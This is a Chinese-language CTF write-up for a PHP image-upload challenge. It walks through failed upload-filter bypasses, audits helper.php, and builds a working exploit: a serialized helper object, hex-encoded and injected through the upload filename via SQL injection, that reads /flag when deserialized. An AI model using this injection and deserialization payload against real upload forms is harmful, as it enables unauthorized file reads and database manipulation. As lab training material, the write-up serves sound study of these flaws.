解題思路

這不是文件上傳嘛?
傳傳傳,各種傳
文件上傳
1.MIME類型檢測繞過
設置為image/jpeg,無果
2.黑名單繞過
嘗試設置后綴如php3,php5,無果
3.%00截斷
嘗試,無果。
4.應用程序解析繞過
.php.jpg。上傳成功!

發現怎么后綴是jpg,然后通過路徑訪問的話報404,這里我就開始奇怪了,難道真的不是文件上傳,畢竟就算上傳成功也需要爆出路徑才能利用,但是這明顯是假路徑。
思考其他的方向,既然buu給了github源碼,那就看看源碼吧,看了看,主要邏輯代碼在helper.php
代碼審計
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}
?>
這里懂了兩個文件的內容
upload.php:
上傳頁面,包括了helper.php ,序列化圖片的內容並存在數據庫中。
helper.php:
反序列化數據庫中的內容,輸出圖片內容
所以我們的核心思路:
將危險代碼通過序列化存在數據庫中,在反序列化的過程后,通過某些函數執行危險代碼
這里一定可以存入數據庫,否則我們在前端無法利用,所以數據庫的語句一定有漏洞,只要想好怎么利用就可以
大概看看代碼,在view_files 函數里存在文件讀取,那么就按照他的來,
構造ifview==True,content=/flag
編寫exp
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
序列化得出
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
因為兩個屬性是public,所以字段名前面加上\0*\0的前綴
sql注入
然后思路是想看到sql語句,其中應該可以插入危險代碼,導致sql注入。那么我們先找到SQL語句:
INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")
追溯函數:
-
implode(",",$sql_fields:
用逗號組合sql_fields -
$sql_fields[] = "".$key_temp."";
反引號中間包含str_replace(chr(0).'*'.chr(0), '\0\0\0', $key); -
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
替換后的key
4.foreach($data as $key=>$value)
data的鍵數組
看看pop鏈:
insert_array->save->upload
最終也就是array數組中的內容,即是我們上傳的圖片的各項參數。那我們能控制的也就是圖片的圖片名,然后發現title就是去掉后綴的filename。看到check函數返回的內容就懂了。
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
我們按照此格式上傳剛剛序列化后的內容,該代碼先經過序列化,然后存入數據庫中,后端將其從數據庫中取出,反序列化,觸發析構函數,讀取flag內容
然后看到代碼中在序列化和反序列化時對protected屬性進行了過濾,所以我們不能直接傳入\0*\0的前綴。需要按照他的傳入\0\0\0,經過處理后我們為需要的內容。
O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
因為不能使用雙引號,所以我們hex。
構造文件名:
filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"
(需要用#注釋掉后面的內容,當然不用#注釋,按照他的格式再往后核實也可以)
burpsuite抓包,先傳一個圖片,更改內容為上面的值,上傳成功,訪問show.php,獲取flag
總結思路
- 源碼泄露,獲得源碼
- 代碼審計,一個序列化傳進數據庫,一個反序列化從數據庫取出
- 構造危險代碼->匹配成功傳入數據庫->反序列化出內容->通過相關函數獲取flag
知識點
- 信息泄露
- sql注入
- 反序列化
